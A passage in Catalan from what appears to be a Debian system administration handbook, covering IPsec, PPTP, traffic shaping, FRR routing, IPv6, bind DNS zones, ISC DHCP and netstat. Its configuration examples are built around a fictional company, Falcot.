Primer, instal·lem el paquet libreswan. En termes concrets, el /etc/ipsec.conf de cada equip conté els paràmetres per a túnels IPsec (o Security Associations, en la terminologia IPsec) de què el servidor s'ocupa. Hi ha molts exemples de configuració a /usr/share/doc/libreswan/, però la documentació en línia de Libreswan té més exemples amb explicacions:

→ https://libreswan.org/wiki/

El servei IPsec es pot controlar amb systemctl; per exemple, systemctl start ipsec iniciarà el servei IPsec.

Malgrat el seu estatus com a referència, la complexitat de la configuració d'IPsec restringeix el seu ús en la pràctica. Les solucions basades en OpenVPN es preferiran generalment quan els túnels requerits no siguin masses ni massa dinàmics.

COMPTE IPsec i NAT

Els tallafocs que fan NAT i IPsec no funcionen bé junts: com que IPsec signa els paquets, qualsevol canvi en aquests paquets que el tallafoc pugui realitzar anul·larà la signatura, i els paquets seran rebutjats al destí. Diverses implementacions IPsec ara inclouen la tècnica NAT-T (NAT Traversal), que bàsicament encapsula el paquet IPsec dins d'un paquet UDP estàndard.

SEGURETAT IPsec i tallafocs

El mode estàndard d'operació d'IPsec implica intercanvis de dades al port UDP 500 per a intercanvis de claus (també al port UDP 4500 en el cas que el NAT-T estigui en ús). A més, els paquets IPsec utilitzen dos protocols IP dedicats que el tallafocs ha de deixar passar; la recepció d'aquests paquets es basa en els seus números de protocol, 50 (ESP) i 51 (AH).

10.3.4. PPTP

PPTP (de «Point-to-Point Tunneling Protocol» o “Protocol de túnel punt a punt”) utilitza dos canals de comunicació, un per a les dades de control i un altre per a les dades; aquest últim utilitza el protocol GRE («Generic Routing Encapsulation» o “Encapsulació d'encaminament genèric”). A continuació es crea un enllaç PPP estàndard sobre el canal d'intercanvi de dades.

10.3.4.1. Configuració del client

El paquet pptp-linux conté un client PPTP fàcilment configurable per a Linux. Les següents instruccions s'inspiren en la documentació oficial:

→ http://pptpclient.sourceforge.net/howto-debian.phtml

Els administradors de Falcot van crear diversos fitxers: /etc/ppp/options.pptp, /etc/ppp/peers/falcot, /etc/ppp/ip-up.d/falcot, i /etc/ppp/ip-down.d/falcot.

Exemple 10.2. El fitxer /etc/ppp/options.pptp

# opcions PPP usades en una connexió PPTP lock noauth nobsdcomp nodeflate

Exemple 10.3. El fitxer /etc/ppp/peers/falcot

# vpn.falcot.com és el servidor PPTP pty "pptp vpn.falcot.com --nolaunchpppd" # la connexió s'identificarà usant l'usuari "vpn" user vpn remotename pptp # es necessita xifratge require-mppe-128 file /etc/ppp/options.pptp ipparam falcot

Exemple 10.4. El fitxer /etc/ppp/ip-up.d/falcot

# Crea la ruta cap a la xarxa de Falcot if [ "$6" = "falcot" ]; then # 192.168.0.0/24 és la xarxa (remota) de Falcot ip route add 192.168.0.0/24 dev $1 fi

Exemple 10.5. El fitxer /etc/ppp/ip-down.d/falcot

# Elimina la ruta cap a la xarxa de Falcol if [ "$6" = "falcot" ]; then # 192.168.0.0/24 és la xarxa (remota) de Falcot ip route del 192.168.0.0/24 dev $1 fi

SEGURETAT MPPE

Per fer segur PPTP cal utilitzar la característica MPPE («Microsoft Point-to-Point Encryption» o “Xifratge punt a punt de Microsoft”), que està disponible en els nuclis oficials de Debian com a mòdul.

10.3.4.2. Configuració del servidor

COMPTE PPTP i tallafocs

Els tallafocs intermedis s'han de configurar per permetre el pas de paquets IP que usin el protocol 47 (GRE). A més, el port 1723 del servidor PPTP ha d'estar obert perquè el canal de comunicació pugui establir-se.

pptpd és el servidor PPTP per a Linux. El seu fitxer de configuració principal, /etc/pptpd.conf, requereix molt pocs canvis: localip (adreça IP local) i remoteip (adreça IP remota). En l'exemple següent, el servidor PPTP sempre utilitza l'adreça 192.168.0.199, i els clients PPTP reben adreces IP de 192.168.0.200 a 192.168.0.250.

Exemple 10.6. El fitxer /etc/pptpd.conf

[..] # TAG: localip # TAG: remoteip # Specifies the local and remote IP address ranges. # # These options are ignored if delegate option is set. # # Any addresses work as long as the local machine takes care of the # routing. But if you want to use MS-Windows networking, you should # use IP addresses out of the LAN address space and use the proxyarp # option in the pppd options file, or run bcrelay. # # You can specify single IP addresses seperated by commas or you can # specify ranges, or both. For example: # # 192.168.0.234,192.168.0.245-249,192.168.0.254 # # IMPORTANT RESTRICTIONS: # # 1. No spaces are permitted between commas or within addresses. # # 2. If you give more IP addresses than the value of connections, # it will start at the beginning of the list and go until it # gets connections IPs. Others will be ignored. # # 3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238, # you must type 234-238 if you mean this. # # 4. If you give a single localIP, that's ok - all local IPs will # be set to the given one. You MUST still give at least one remote # IP for each simultaneous client. # # (Recommended) #localip 192.168.0.1 #remoteip 192.168.0.234-238,192.168.0.245 # or #localip 192.168.0.234-238,192.168.0.245 #remoteip 192.168.1.234-238,192.168.1.245 localip 192.168.0.199 remoteip 192.168.0.200-250

La configuració PPP utilitzada pel servidor PPTP també requereix alguns canvis a /etc/ppp/pptpd-options. Els paràmetres importants són el nom del servidor (pptp), el nom del domini (falcot.com), i les adreces IP dels servidors de DNS i WINS.

Exemple 10.7. El fitxer /etc/ppp/pptpd-options

# Enable connection debugging facilities. # (see your syslog configuration for where pppd sends to) #debug # Name of the local system for authentication purposes # (must match the second field in /etc/ppp/chap-secrets entries) name pptpd # Optional: domain name to use for authentication ## change the domainname to your local domain domain falcot.com # Authentication ## these are reasonable defaults for WinXXXX clients ## for the security related settings auth refuse-pap refuse-chap refuse-mschap # Require the peer to authenticate itself using MS-CHAPv2 [Microsoft # Challenge Handshake Authentication Protocol, Version 2] authentication. require-mschap-v2 # Require MPPE 128-bit encryption # (note that MPPE requires the use of MSCHAP-V2 during authentication) require-mppe-128 # Network and Routing ## Fill in your addresses ms-dns 192.168.0.1 ms-wins 192.168.0.1 ## Fill in your netmask netmask 255.255.255.0 ## some defaults nodefaultroute proxyarp lock

L'últim pas consisteix a registrar l'usuari vpn (i la contrasenya associada) al fitxer /etc/ppp/chap-secrets. Contràriament a altres instàncies on funcionaria un asterisc (*), el nom del servidor s'ha d'explicitar aquí. A més, els clients PPTP de Windows s'identifiquen amb la forma DOMINI\\USER, en lloc de només proporcionar un nom d'usuari. Això explica per què el fitxer també esmenta l'usuari FALCOT\\vpn. També és possible especificar adreces IP individuals per als usuaris; un asterisc en aquest camp especifica que s'ha d'utilitzar l'adreçament dinàmic.

Exemple 10.8. El fitxer /etc/ppp/chap-secrets

# Secrets per a l'autenticació usant CHAP # client servidor secret adreça IP vpn pptp f@Lc3au * FALCOT\\vpn pptp f@Lc3au *

SEGURETAT Vulnerabilitats de PPTP

La primera implementació del PPTP per part de Microsoft va ser molt criticada perquè tenia moltes vulnerabilitats de seguretat; la majoria s'han solventat en versions més recents. La configuració documentada en aquesta secció utilitza l'última versió del protocol. Tingueu en compte que l'eliminació d'algunes opcions (com ara require-mppe-128 i require-mschap-v2) faria el servei vulnerable altre cop.

10.4. Qualitat del servei

10.4.1. Principis i mecanisme

Qualitat del Servei (o QoS per l'acrònim en anglès) es refereix a un conjunt de tècniques que garanteixen o milloren la qualitat del servei proporcionat a les aplicacions. La tècnica més popular consisteix a classificar el trànsit de xarxa en categories, i diferenciar el tractament del trànsit segons la categoria a la qual pertany. L'aplicació principal d'aquest concepte de serveis diferenciats és el «traffic shaping» o “modelatge del trànsit”, que limita les taxes de transmissió de dades per a connexions relacionades amb alguns serveis i/o servidors per no saturar l'amplada de banda disponible i fer que altres serveis es degradin. El «traffic shaping» és una tècnica especialment bona per al trànsit TCP, ja que aquest protocol s'adapta automàticament a l'amplada de banda disponible.

CULTURA Neutralitat de la xarxa i qualitat del servei

La neutralitat de la xarxa s'aconsegueix quan els proveïdors de serveis d'Internet tracten totes les comunicacions per Internet per igual, és a dir, sense cap limitació d'accés basat en el contingut, l'usuari, el lloc web, l'adreça de destinació, etc.

La qualitat del servei es pot implementar en una Internet amb neutralitat de xarxa, però només si els proveïdors de serveis d'Internet no poden cobrar una taxa especial per un servei d'alta qualitat.

També és possible alterar les prioritats del trànsit, que permet prioritzar paquets relacionats amb serveis interactius (com ara ssh i telnet) o amb serveis que només tracten amb petits blocs de dades.

Els nuclis de Debian inclouen les característiques necessàries per a QoS juntament amb els seus mòduls associats. Aquests mòduls són molts, i cadascun d'ells proporciona un servei diferent, sobretot a través de planificadors especials per a les cues de paquets IP; l'àmplia gamma de comportaments de planificadors disponibles abasta tot el rang de possibles requisits.

CULTURA LARTC — «Linux Advanced Routing & Traffic Control» o Encaminament avançat i control de trànsit de Linux

El «HOWTO» de «Linux Advanced Routing & Traffic Control» és el document de referència que cobreix tot el que hi ha per saber sobre la qualitat del servei de la xarxa.

→ https://www.lartc.org/howto/

10.4.2. Configuració i implementació

Els paràmetres de QoS s'estableixen a través de l'ordre tc (proveït pel paquet iproute). Com que la seva interfície és bastant complexa, es recomana utilitzar eines de nivell superior.

10.4.2.1. Reducció de latències: wondershaper

El propòsit principal de wondershaper (al paquet del mateix nom) és minimitzar les latències independentment de la càrrega de la xarxa. Això s'aconsegueix limitant el trànsit total a un valor que quedi per sota del valor de saturació de l'enllaç.

Un cop que s'ha configurat una interfície de xarxa, la limitació del trànsit s'aconsegueix executant wondershaper interfície taxa_de_baixadataxa_de_pujada. La interfície pot ser enp1s0, eth0 o ppp0, per exemple, i ambdues taxes s'expressen en kilobits per segon. El wondershaper remove interfície inhabilita el control de trànsit a la interfície especificada.

Per a una connexió Ethernet, històricament aquest script s'havia executat just després que la interfície estés configurada. Això es fa afegint directives up i down al fitxer /etc/network/interfaces que permet executar ordres declarades, respectivament, després que la interfície estigui configurada i abans que es desconfiguri. O en el cas del PPP, creant un script que cridi wondershaper a /etc/ppp/ip-up.d/ activarà el control del trànsit així que la connexió s'estableixi. Tot seguit hi ha un exemple usant el primer mètode:

Exemple 10.9. Canvis al fitxer /etc/network/interfaces

iface eth0 inet dhcp up /sbin/wondershaper eth0 500 100 down /sbin/wondershaper remove eth0

ANANT MÉS ENLLÀ Configuració òptima

El fitxer /usr/share/doc/wondershaper/README.Debian.gz descriu, en alguns detalls, el mètode de configuració recomanat pel mantenidor del paquet. En particular, aconsella mesurar les velocitats de pujada i baixada per tal d'avaluar millor els límits reals.

10.4.2.2. Configuració estàndar

A manca d'una configuració específica de QoS, el nucli de Linux utilitza el planificador de cua pfifo_fast que proporciona algunes característiques interessants per si mateix. La prioritat de cada paquet IP processat es basa en el camp DSCP («Differentiated Services Code Point» o “punt de codi de serveis diferenciats”) del propi paquet; modificar aquest camp de 6 bits és suficient per aprofitar les característiques de planificació. Consulteu https://en.wikipedia.org/wiki/Differentiated_services#Class_Selector per a més informació.

El camp DSCP pot ser establert per aplicacions que generen paquets IP, o modificat sobre la marxa per netfilter. Les següents regles són suficients per augmentar la capacitat de resposta per al servei d'SSH d'un servidor, però tingueu en compte que el camp DSCP s'ha d'establir en hexadecimal:

nft add table ip mangle nft add rule ip mangle PREROUTING tcp sport 22 counter ip dscp set 0x04 nft add rule ip mangle PREROUTING tcp dport 22 counter ip dscp set 0x04

10.5. Encaminament dinàmic

L'eina de referència per a l'encaminament dinàmic és actualment frr, del paquet del mateix nom; havia estat quagga, i abans encara zebra, fins que es va aturar el desenvolupament d'aquests. No obstant això, frr va mantenir els noms dels programes per raons de compatibilitat que expliquen les ordres zebra més avall.

TORNAR A LES BASES Encaminament dinàmic

L'encaminament dinàmic permet als «routers» ajustar, en temps real, els camins utilitzats per transmetre paquets IP. Cada protocol implica el seu propi mètode de definició de rutes (el camí més curt, les rutes d'ús anunciades per d'altres, etc.).

En el nucli de Linux, una ruta enllaça un dispositiu de xarxa amb un conjunt de màquines a les quals es pot arribar a través d'aquest dispositiu. L'ordre ip, quan s'utilitza com a primer argument route , defineix noves rutes i mostra les existents. L'ordre route s'havia usat amb aquest propòsit, però ha quedat obsoleta a favor d'ip.

FRR (FRRouting) és un conjunt de dimonis que cooperen per definir les taules d'encaminament que ha d'utilitzar el nucli de Linux; cada protocol d'encaminament (especialment BGP, OSPF i RIP) proporciona el seu propi dimoni(s). Els dimonis zebra i staticd, que sempre estan en funcionament, recopilen informació d'altres dimonis i gestionen les taules d'encaminament estàtiques en conseqüència. Els altres dimonis es coneixen com bgpd, ospfd, ospf6d, ripd, ripng, isisd, etc.

Els dimonis són habilitats creant el fitxer de configuració /etc/frr/dimoni.conf, on dimoni és el nom del dimoni a utilitzar, i editant el fitxer de configuració /etc/frr/daemons. El fitxer de configuració del dimoni ha de pertànyer a l'usuari i grup frr amb permisos de 0640 per tal que l'script /etc/init.d/frr o el servei systemd frr.service invoquin el dimoni. El paquet frr proporciona exemples de configuració sota /usr/share/doc/frr/examples/.

La configuració de cadascun d'aquests dimonis requereix coneixements sobre el protocol d'encaminament en qüestió. Aquests protocols no es poden descriure detalladament aquí, però frr-doc proporciona una àmplia explicació en forma de fitxers info i HTML. El mateix contingut es pot navegar al lloc web del projecte:

→ http://docs.frrouting.org/en/latest/

A més, la sintaxi és molt semblant a la interfície de configuració d'un «router» estàndard, i els administradors de xarxa s'adaptaran ràpidament a frr.

A LA PRÀCTICA OSPF, BGP o RIP?

OSPF («Open Shortest Path First» o “primer el camí més curt”) és generalment el millor protocol a utilitzar per a l'encaminament dinàmic en xarxes privades, però BGP («Border Gateway Protocol») és més comú per a l'encaminament a Internet. RIP («Routing Information Protocol») és bastant antic, i gairebé mai utilitzat.

10.6. IPv6

IPv6, successor d'IPv4, és una nova versió del protocol IP dissenyat per corregir-ne les fallades, sobretot l'escassetat d'adreces IP disponibles. Aquest protocol gestiona la capa de xarxa; el seu propòsit és proporcionar una manera d'adreçar les màquines, transmetre dades a la destinació desitjada, i gestionar la fragmentació de dades si cal (en altres paraules, dividir paquets en trossos amb una mida que depèn dels enllaços de xarxa que s'utilitzin en el camí i tornar a muntar els trossos en el seu ordre adequat a l'arribada).

Els nuclis de Debian inclouen la gestió d'IPv6 en el propi nucli (amb l'excepció d'algunes arquitectures que el tenen compilat com un mòdul anomenat ipv6. Eines bàsiques com ping i traceroute tenen els seus equivalents IPv6 amb ping6 i traceroute6, disponibles respectivament en els paquets iputils-ping i iputils-tracepath.

Una xarxa IPv6 es configura de manera similar a IPv4, a /etc/network/interfaces. Però si voleu que aquesta xarxa estigui disponible a nivell mundial, cal assegurar-se que es disposa d'un encaminador amb capacitat per a IPv6 que retransmet el trànsit a la xarxa global IPv6.

Exemple 10.10. Exemple de configuració IPv6

iface enp7s0 inet6 static address 2001:db8:1234:5::1:1/64 # Disabling auto-configuration # autoconf 0 # The router is auto-configured and has no fixed address # (accept_ra 1). If it had: # gateway 2001:db8:1234:5::1

Les subxarxes IPv6 solen tenir una màscara de xarxa de 64 bits. Això significa que hi ha 2⁶⁴ adreces diferents dins de la subxarxa. Això permet a «Stateless Address Autoconfiguration» o “Autoconfiguració sense estat d'adreces” (SLAAC) triar una adreça basada en l'adreça MAC de la interfície de xarxa. Per defecte, si SLAAC està activat a la xarxa i IPv6 a l'ordinador, el nucli trobarà automàticament encaminadors IPv6 i configurarà les interfícies de xarxa.

Aquest comportament pot tenir implicacions de privacitat. Si canvieu de xarxes amb freqüència, per exemple amb un portàtil, potser no voleu que la vostra adreça MAC sigui part de la vostra adreça IPv6 pública. Això facilita la identificació del mateix dispositiu en diferents xarxes. Una solució a això són les extensions de privadesa IPv6 (que Debian activa per defecte si es detecta la connectivitat IPv6 durant la instal·lació inicial), que assignarà una adreça addicional generada aleatòriament a la interfície, les canviarà periòdicament i les preferirà per a les connexions sortints. Les connexions entrants encara poden utilitzar l'adreça generada per SLAAC. L'exemple següent, per al seu ús a /etc/network/interfaces, activa aquestes extensions de privadesa de la interfície enp7s0.

Exemple 10.11. Extensions de privacitat IPv6

iface enp7s0 inet6 auto # Prefer the randomly assigned addresses for outgoing connections. privext 2

SUGGERIMENT Programes desenvolupats amb IPv6

Moltes parts de programari s'han d'adaptar per gestionar IPv6. La majoria dels paquets de Debian ja s'han adaptat, però no tots. Si el vostre paquet preferit encara no funciona amb IPv6, podeu demanar ajuda a la llista de correu debian-ipv6. Allà poden conèixer algun reemplaçament de programari per IPv6 i podrien registrar un «bug» per fer que el problema es segueixi correctament.

→ https://lists.debian.org/debian-ipv6/

Les connexions IPv6 es poden restringir de la mateixa manera que per IPv4. nft es pot utilitzar per crear regles de tallafoc per a IPv4 i IPv6 (vegeu Secció 14.2.3, «Sintaxi d'nft»).

10.6.1. Túnels

COMPTE Túnels IPv6 i tallafocs

Túnels IPv6 sobre IPv4 (en contraposició a IPv6 nadiu) requereix que el tallafocs accepti el trànsit, que utilitza el protocol IPv4 número 41.

Si una connexió IPv6 nativa no està disponible, el mètode alternatiu és utilitzar un túnel sobre IPv4. Hurricane Electric és un proveïdor (de franc) d'aquests túnels:

→ https://tunnelbroker.net

Per utilitzar un túnel d'Electric Hurricane cal registrar un compte, iniciar la sessió, seleccionar un túnel de franc i editar el fitxer /etc/network/interfaces amb el codi generat.

Podeu instal·lar i configurar el dimoni radvd (al paquet del mateixm nom) si voleu utilitzar l'ordinador configurat com a encaminador per a una xarxa local. Aquest dimoni de configuració IPv6 té un rol similar a dhcpd en el món IPv4.

El fitxer de configuració /etc/radvd.conf ha de ser creat (vegeu /usr/share/doc/radvd/examples/simple-radvd.conf com a punt de partida). En el nostre cas, l'únic canvi necessari és el prefix, que ha de ser substituït pel que proporciona Hurricane Electric; es pot trobar en la sortida generada per la comanda ip a, en el bloc relatiu a la interfície he-ipv6.

Després executeu systemctl start radvd. La xarxa IPv6 ara hauria de funcionar.

10.7. Servidors de noms de domini (DNS)

El «Domain Name Service» o “Servei de noms de domini” (DNS) és un component fonamental d'Internet: assigna noms d'amfitrió a adreces IP (i viceversa), que permet l'ús de www.debian.org en lloc de 130.89.148.77 o 2001:67c:2564:a119::77.

Els registres DNS s'organitzen en zones; cada zona coincideix o bé amb un domini (o un subdomini) o amb un interval d'adreces IP (ja que les adreces IP generalment s'assignen en intervals consecutius). Un servidor primari és autoritatiu en el contingut d'una zona; els servidors secundaris, normalment allotjats en màquines separades, proporcionen còpies regularment refrescades de la zona primària.

Cada zona pot contenir registres de diversos tipus («Resource Records» o “registres de recursos”), aquests són alguns dels més comuns:

A (address record): adreça IPv4. Aquesta és la manera més habitual perquè un domini apunti a una adreça IPv4.

CNAME (canonical name record): alias

MX (intercanvi de correu): un servidor de correu electrònic. Aquesta informació és utilitzada per altres servidors de correu electrònic per trobar on enviar el correu electrònic adreçat a una adreça donada. Cada registre MX té una prioritat. El servidor de prioritat més alta (amb el nombre més baix) es prova primer (vegeu la barra lateral TORNAR A LES BASES SMTP); els altres servidors seran contactats per ordre de prioritat decreixent si el primer no respon.

PTR (pointer): associació d'una adreça IP a un nom. Aquest registre s'emmagatzema en una zona inversa o «reverse DNS» anomenada segons l'interval d'adreces IP. Per exemple, 1.168.192.in-addr.arpa és la zona que conté l'assignació inversa de totes les adreces en el rang 192.168.1.0/24.

AAAA (IPv6 address record): adreça IPv6.

NS (name server): associa un nom a un servidor de noms. Cada domini ha de tenir almenys un registre NS. Aquests registres apunten a un servidor DNS que pot respondre consultes relatives a aquest domini; normalment apunten als servidors primaris i secundaris del domini. Aquests registres també permeten la delegació de DNS; per exemple, la zona falcot.com pot incloure un registre NS per internal.falcot.com, el que significa que la zona internal.falcot.com és gestionada per un altre servidor. Per descomptat, aquest altre servidor ha de declarar una zona internal.falcot.com.

10.7.1. Programari DNS

El servidor de noms de referència, Bind, fou desenvolupat i és mantingut per l'ISC (l'Internet Software Consortium). És proporcionat a Debian pel paquet bind9. La versió 9 aporta dos canvis importants en comparació amb les versions anteriors. En primer lloc, el servidor DNS ara pot funcionar sota un usuari sense privilegis, de manera que una vulnerabilitat de seguretat en el servidor no concedeix privilegis d'arrel a l'atacant (com es va veure repetidament amb les versions 8.x).

A més, Bind dona suport a l'estàndard DNSSEC per signar (i per tant autenticar) registres de DNS, fet que permet bloquejar qualsevol espoli d'aquestes dades en atacs de tipus «man-in-the-middle».

CULTURA DNSSEC

La norma DNSSEC és força complexa; això explica en part per què encara no és d'ús generalitzat (fins i tot si coexisteix perfectament amb servidors DNS que no fan ús de DNSSEC). Per entendre tots els detalls, caldria revisar el següent article.

→ https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.7.2. Configurant bind

Els arxius de configuració de bind, independentment de la versió, tenen la mateixa estructura.

Els administradors de Falcot han creat una zona primària falcot.com per emmagatzemar informació relacionada amb aquest domini, i una zona 168.192.in-addr.arpa per a l'assignació inversa d'adreces IP a les xarxes locals.

COMPTE Noms de zones inverses

Les zones inverses tenen un nom particular. La zona que cobreix la xarxa 192.168.0.0/16 ha de ser anomenada 168.192.in-addr.arpa: els components d'adreça IP s'inverteixen, i se'ls afegeix el sufix in-addr.arpa.

En xarxes IPv6, el sufix és ip6.arpa i els components d'adreça IP que s'inverteixen són cada caràcter en la representació hexadecimal completa de l'adreça IP. Així, la xarxa 2001:0bc8:31a0::/48 utilitzaria una zona anomenada 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

SUGGERIMENT Provant el servidor DNS

L'ordre host (al paquet bind9-host) interroga un servidor DNS, i es pot utilitzar per provar la configuració del servidor. Per exemple, host machine.falcot.com localhost comprova la resposta del servidor local per a la consulta machine.falcot.com. host adreça ip localhost prova la resolució inversa.

Els següents extractes de configuració, extrets dels arxius de Falcot, poden servir com a punts de partida per configurar un servidor DNS:

Exemple 10.12. Extracte de /etc/bind/named.conf.local

zone "falcot.com" { type master; file "/etc/bind/db.falcot.com"; allow-query { any; }; allow-transfer { 195.20.105.149/32 ; // ns0.xname.org 193.23.158.13/32 ; // ns1.xname.org }; }; zone "internal.falcot.com" { type master; file "/etc/bind/db.internal.falcot.com"; allow-query { 192.168.0.0/16; }; }; zone "168.192.in-addr.arpa" { type master; file "/etc/bind/db.192.168"; allow-query { 192.168.0.0/16; }; };

Exemple 10.13. Extracte de /etc/bind/db.falcot.com

; Zona falcot.com ; admin.falcot.com. => contacte per a la zona: admin@falcot.com $TTL 604800 @ IN SOA falcot.com. admin.falcot.com. ( 20040121 ; Sèrie 604800 ; Refrescar 86400 ; Reintentar 2419200 ; Expirar 604800 ) ; TTL per a la caché negativa ; ; El @ fa referència al nom de la zona ("falcot.com" aquí) ; o a $ORIGIN si la directiva ha estat usada ; @ IN NS ns @ IN NS ns0.xname.org. internal IN NS 192.168.0.2 @ IN A 212.94.201.10 @ IN MX 5 mail @ IN MX 10 mail2 ns IN A 212.94.201.10 mail IN A 212.94.201.10 mail2 IN A 212.94.201.11 www IN A 212.94.201.11 dns IN CNAME ns

COMPTE Sintaxi d'un nom

La sintaxi dels noms de les màquines segueix regles estrictes. Per exemple, màquina implica màquina.domini. Si el nom del domini no s'ha d'annexar a un nom, aquest nom s'ha d'escriure com a màquina. (amb un punt com a sufix). Indicar un nom DNS fora del domini actual requereix una sintaxi com ara màquina.dominidiferent.com. (amb el punt final).

Exemple 10.14. Extracte de /etc/bind/db.192.168

; Zona inversa per 192.168.0.0/16 ; admin.falcot.com. => contacte de zona: admin@falcot.com $TTL 604800 @ IN SOA ns.internal.falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL IN NS ns.internal.falcot.com. ; 192.168.0.1 -> arrakis 1.0 IN PTR arrakis.internal.falcot.com. ; 192.168.0.2 -> neptune 2.0 IN PTR neptune.internal.falcot.com. ; 192.168.3.1 -> pau 1.3 IN PTR pau.internal.falcot.com.

10.8. DHCP

DHCP (de «Dynamic Host Configuration Protocol» o “Protocol de configuració dinàmica d'equips”) és un protocol pel qual una màquina pot obtenir automàticament la seva configuració de xarxa quan arrenca. Això permet centralitzar la gestió de les configuracions de la xarxa i assegurar que totes les màquines d'escriptori tinguin configuracions similars.

Un servidor DHCP proporciona molts paràmetres relacionats amb la xarxa. La més comuna és una adreça IP i la xarxa on la màquina pertany, però també pot proporcionar altres dades, com ara servidors DNS, servidors WINS, servidors NTP, etc.

El Internet Software Consortium, o “Consorci de programari d'Internet”, (també implicat en el desenvolupament de bind) és l'autor principal del servidor DHCP. El paquet Debian corresponent és isc-dhcp-server.

10.8.1. Configuració

Els primers elements que s'han d'editar als fitxers de configuració del servidor DHCP (/etc/dhcp/dhcpd.conf, i/etc/dhcp/dhcpd6.conf per a IPv6) són el nom del domini i els servidors DNS. Si aquest servidor està sol a la xarxa local (com es defineix per la propagació de la difusió), la directiva authoritative també ha d'estar activada (o sense comentar). També cal crear una secció subnet que descrigui la xarxa local i la informació de configuració que s'ha de proporcionar. L'exemple següent encaixa amb una xarxa local 192.168.0.0/24 amb un encaminador a 192.168.0.1 que serveix com a passarel·la. Les adreces IP disponibles estan en l'interval 192.168.0.128 a 192.168.0.254.

Exemple 10.15. Extracte de /etc/dhcp/dhcpd.conf

# # Sample configuration file for ISC dhcpd for Debian # # The ddns-updates-style parameter controls whether or not the server will # attempt to do a DNS update when a lease is confirmed. We default to the # behavior of the version 2 packages ('none', since DHCP v2 didn't # have support for DDNS.) ddns-update-style interim; # option definitions common to all supported networks... option domain-name "internal.falcot.com"; option domain-name-servers ns.internal.falcot.com; default-lease-time 600; max-lease-time 7200; # If this DHCP server is the official DHCP server for the local # network, the authoritative directive should be uncommented. authoritative; # Use this to send dhcp log messages to a different log file (you also # have to hack syslog.conf to complete the redirection). log-facility local7; # My subnet subnet 192.168.0.0 netmask 255.255.255.0 { option routers 192.168.0.1; option broadcast-address 192.168.0.255; range 192.168.0.128 192.168.0.254; ddns-domainname "internal.falcot.com"; }

10.8.2. DHCP i DNS

Una característica interessant és el registre automàtic de clients DHCP a la zona DNS, de manera que cada màquina rep un nom significatiu (en lloc d'alguna cosa impersonal com ara maquina-192-168-0-131.internal.falcot.com). Aquesta característica requereix la configuració del servidor DNS per acceptar les actualitzacions de la zona DNS internal.falcot.com per part del servidor DHCP, i la configuració d'aquest últim per enviar actualitzacions per a cada registre.

En el cas de bind (vegeu Secció 10.7.1, «Programari DNS»), cal afegir la directiva allow-update a cadascuna de les zones que el servidor DHCP ha d'editar (la del domini internal.falcot.com i la zona inversa). Aquesta directiva llista les adreces IP que tenen permès realitzar aquestes actualitzacions; per tant, hauria de contenir les possibles adreces del servidor DHCP (tant l'adreça local com l'adreça pública, si fos el cas).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Compte! Una zona que pot ser modificada ho serà per bind, i aquest últim sobreescriurà els fitxers de configuració en intervals regulars. Com que aquest procediment automatitzat produeix fitxers que són menys llegibles per humans que els escrits manualment, els administradors de Falcot gestionen el domini internal.falcot.com amb un servidor DNS delegat; això significa que el fitxer de zona falcot.com es manté fermament sota el seu control manual.

L'extracte de la configuració del servidor DHCP anterior ja inclou les directives necessàries per a les actualitzacions de la zona DNS: són les línies ddns-update-style interim; i ddns-domain-name "internal.falcot.com";.

10.9. Eines de diagnòstic de xarxa

Quan una aplicació de xarxa no s'executa com s'esperava, és important poder mirar per “sota la taula”. Fins i tot quan tot sembla funcionar correctament, fer un diagnòstic de la xarxa pot ajudar a garantir que tot funciona com deuria. Existeixen diverses eines de diagnòstic per a aquest propòsit; cadascuna funciona en un nivell diferent. Queda fora de l'abast d'aquest llibre discutir totes les eines, per això ens centrarem en les més conegudes i habitualment usades en les següents seccions.

10.9.1. Diagnòstic local: netstat

Esmentem primer el comandament netstat (al paquet net-tools); mostra un resum instantani de l'activitat de xarxa d'una màquina. Quan s'invoca sense cap argument, aquesta ordre llista totes les connexions obertes; aquesta llista pot ser molt detallada, ja que inclou molts sòcols de domini Unix (àmpliament utilitzats per dimonis) que no impliquen la xarxa en absolut (per exemple, la comunicació dbus, el trànsit X11, i comunicacions entre sistemes de fitxers virtuals i l'escriptori).

Per tant, les invocacions comunes utilitzen opcions que alteren el comportament de netstat. Les opcions més utilitzades inclouen:

-t, que filtra els resultats incloent només connexions TCP;

-u, que funciona de manera similar per a les connexions UDP; aquestes opcions no són mútuament excloents, i una d'elles és suficient per deixar de mostrar les connexions de domini Unix;

-a, també llista els sòcols en estat d'escolta (esperant connexions entrants);

-n, per mostrar els resultats numèricament: adreces IP (sense resolució DNS), números de port (sense els àlies definits a /etc/services) i identificadors d'usuari (sense noms d'usuari);

-p, per llistar els processos implicats; aquesta opció només és útil quan netstat s'executa com a usuari arrel, ja que els usuaris normals només veuran els seus propis processos;

-c, per actualitzar contínuament la llista de connexions.

Altres opcions, documentades a la pàgina del manual netstat(8), proporcionen un control encara més refinat sobre els resultats mostrats. A la pràctica, les primeres cinc opcions s'utilitzen tan sovint juntes que els administradors de xarxes i sistemes pràcticament van adquirir netstat -tupan com a acte reflex. Els resultats típics, en una màquina no massa carregada, poden ser com els següents:

